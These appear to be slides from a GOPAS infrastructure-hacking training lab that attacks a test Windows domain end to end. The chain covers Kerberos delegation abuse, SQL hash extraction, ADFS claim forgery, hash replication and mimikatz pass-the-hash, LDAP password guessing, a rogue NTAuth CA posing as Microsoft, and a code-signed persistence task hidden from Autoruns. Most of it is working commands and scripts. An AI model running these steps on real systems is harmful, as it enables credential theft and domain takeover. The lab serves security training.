GOPAS

Infrastructure hacking lab 008

Ing. Ondřej Ševeček | GOPAS a.s. |
MCSM:Directory2012 | MCM:Directory2008 | MVP:Enterprise Security | CEH | CHFI | CISA |
ondrej@sevecek.com | www.sevecek.com |

GOPAS: info@gopas.cz | www.gopas.cz | www.facebook.com/P.S.GOPAS

1

#18 exploit Kerberos delegation from SRVWEB02

- Kerberos constrained delegation with protocol transition
  - Allow delegation to specified services only
    - Any authentication protocol
- start the tool/script on SRVWEB02 under SYSTEM in direction of SRVDATA01 and SRVDATA02
  - requires SeTcbPrivilege (and SeImpersonatePrivilege)
- use KerbHell or list-sql-hashes
  - fin-admin@cz.gopas.virtual
  - fDenyTSConnections

GOPAS

2

#19 obtain SQL SA password hash

```
$conn = New-Object Data.SqlClient.SqlConnection
'Server=srvdata01\INFOSYS;Database=master;Integrated Security=true'
$conn.Open()

$cmd = $conn.CreateCommand()
$cmd.CommandText = 'SELECT name, password_hash FROM sys.sql_logins'
$reader = $cmd.ExecuteReader()
while ($reader.Read()) {
  $reader['name']
  [BitConverter]::ToString($reader['password_hash'])
}
```

02-00	SS-AA-LL-TT	SS-HH-AA-55-11-22 ... 64x ...

GOPAS

3

#20 try finding the SA password

```
xSAS-TrySQLPassword $saHash 'Wellknown5'
```

GOPAS

4

#21 obtain ValuableResearch DB data

- still using Kerberos protocol transition from SRVWEB02
  - invcs-admin@cz.gopas.virtual
- target DB server SRVDATA02\INVOICING
- DB ValuableResearch
- table CoolDiscoveries

GOPAS

5

#22 exploit RDP connected disks

- from SRVWEB01
- through cz\srv-admin connected over RDP
- to SRVAUTH
- \\tsclient\c\Users\srv-admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\logonscript.bat

GOPAS

6

#23 obtain RADIUS client secrets

- SRVAUTH
  - c:\Windows\System32\IAS\ias.xml

GOPAS

7

#24 exploit ADFS relying party configuration

- SRVAUTH
- https://orders.gopas.cz

```
cc:[Type=="…/name"] => issue(Type="…/name",
Value="cz\boss");

== case sensitive
=~ (?i) case insensitive regex
!= not equal
!~ not match regex
```

GOPAS

8

#25 replicate password hashes from the DC

- cz\dsrs
- DCCZ
- cz\domain-admin

GOPAS

9

#26 pass-the-hash to the DCCZ with /restrictedAdmin

```
mimikatz
sekurlsa::pth /user:domain-admin /domain:cz /ntlm:AABBCC...

Set-ItemProperty
'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server'
fDenyTSConnections 0

mstsc /v:dccz.cz.gopas.virtual /restrictedAdmin
```

GOPAS

10

#27 try well-known passwords on an account

- cz\svc-oracle
  - no Kerberos pre-authentication

```
# Note: ca 20ms per one trial
$dn = 'LDAP://dc=cz,dc=gopas,dc=virtual'

$obj = New-Object DirectoryServices.DirectoryEntry $dn, $login,
$password, 'Secure,Signing'
$obj.RefreshCache('name')
$obj.Dispose()
```

GOPAS

11

#28 install and inject own NTAuth CA into the forest

```
standalone, root

CN=Microsoft Root Certificate Authority 2010
O=Microsoft Corporation
L=Redmond
S=Washington
C=US

4096 RSA, SHA256, <=2035
```

GOPAS

12

#29 install and inject own NTAuth CA into the forest

```
ldap:///CN=Microsoft Root Certificate Authority
2010,CN=CDP,CN=Public Key
Services,CN=Services,CN=Configuration,DC=gopas,DC=virt
ual?certificateRevocationList?base?objectClass=cRLDist
ributionPoint

certutil -setreg CA\ValidityPeriodUnits 20
certutil -setreg Policy\EditFlags
+EditF_AttributeSubjectAltName2
Restart-Service certsvc

certutil -f -dspublish ca.crt rootCA
certutil -f -dspublish ca.crl
certutil -f -dspublish ca.crt ntauthCA
```

GOPAS

13

Certificate request INI file

```
[Version]
Signature = "$Windows NT$"

[NewRequest]
KeySpec = 1                    ; 0x01 exchange, 0x02 signature
KeyLength = 2048
KeyUsage = 0xA0                ; 0x80 signature, 0x20 encipherment
Exportable = true
MachineKeySet = true
SMIME = false
Subject = "CN=Microsoft Windows Publisher,O=Microsoft
Corporation,L=Redmond,S=Washington,C=US"

[EnhancedKeyUsageExtension]
OID = 1.3.6.1.5.5.7.3.2        ; Client Authentication
OID = 1.3.6.1.4.1.311.20.2.2   ; Smart Card Logon
OID = 1.3.6.1.5.5.7.3.3        ; Code Signing

[RequestAttributes]
SAN = "UPN=forest-admin@gopas.virtual"
```

GOPAS

14

#30 issue logon certificate and import on the Wks02 into TPM

```
certreq -new -f -q \\dcroot\public\hacker.ini
\\dcroot\public\hacker.req

certreq -submit \\dcroot\public\hacker.req

# use provided request ID
certutil -resubmit 2
certreq -retrieve -f 2 \\dcroot\public\hacker.cer

certreq -accept -machine \\dcroot\public\hacker.cer

certutil -f -ExportPfx my "Microsoft Windows
Publisher" \\dcroot\public\hacker.pfx
```

GOPAS

15

#31 import the certificate on the Wks02 into TPM virtual smart card

```
tpmvscmgr create /Name LogonCard /PIN prompt /AdminKey
random /pinpolicy minlen 4 /generate

Set-ItemProperty
HKLM:\Software\Microsoft\Cryptography\Defaults
AllowPrivateExchangeKeyImport 1
Set-ItemProperty
HKLM:\Software\Microsoft\Cryptography\Defaults
AllowPrivateSignatureKeyImport 1

certutil -f -importPfx -csp "Microsoft Base Smart Card
Crypto Provider" \\dcroot\public\hacker.pfx
```

GOPAS

16

#32 sign a persistence executable and create a scheduled task for DCROOT

```
$cr = dir cert:\CurrentUser\My -CodeSigning

Set-AuthenticodeSignature \\dcroot\public\intncpol.exe
$cr -TimestampServer http://timestamp.digicert.com


intncpol <base64-encoded-login-to-add-local-admins>
```

GOPAS

17

#33 on DCROOT use Autoruns to verify the task is nearly invisible

- Hide Windows entries
- Verify code signatures

GOPAS

18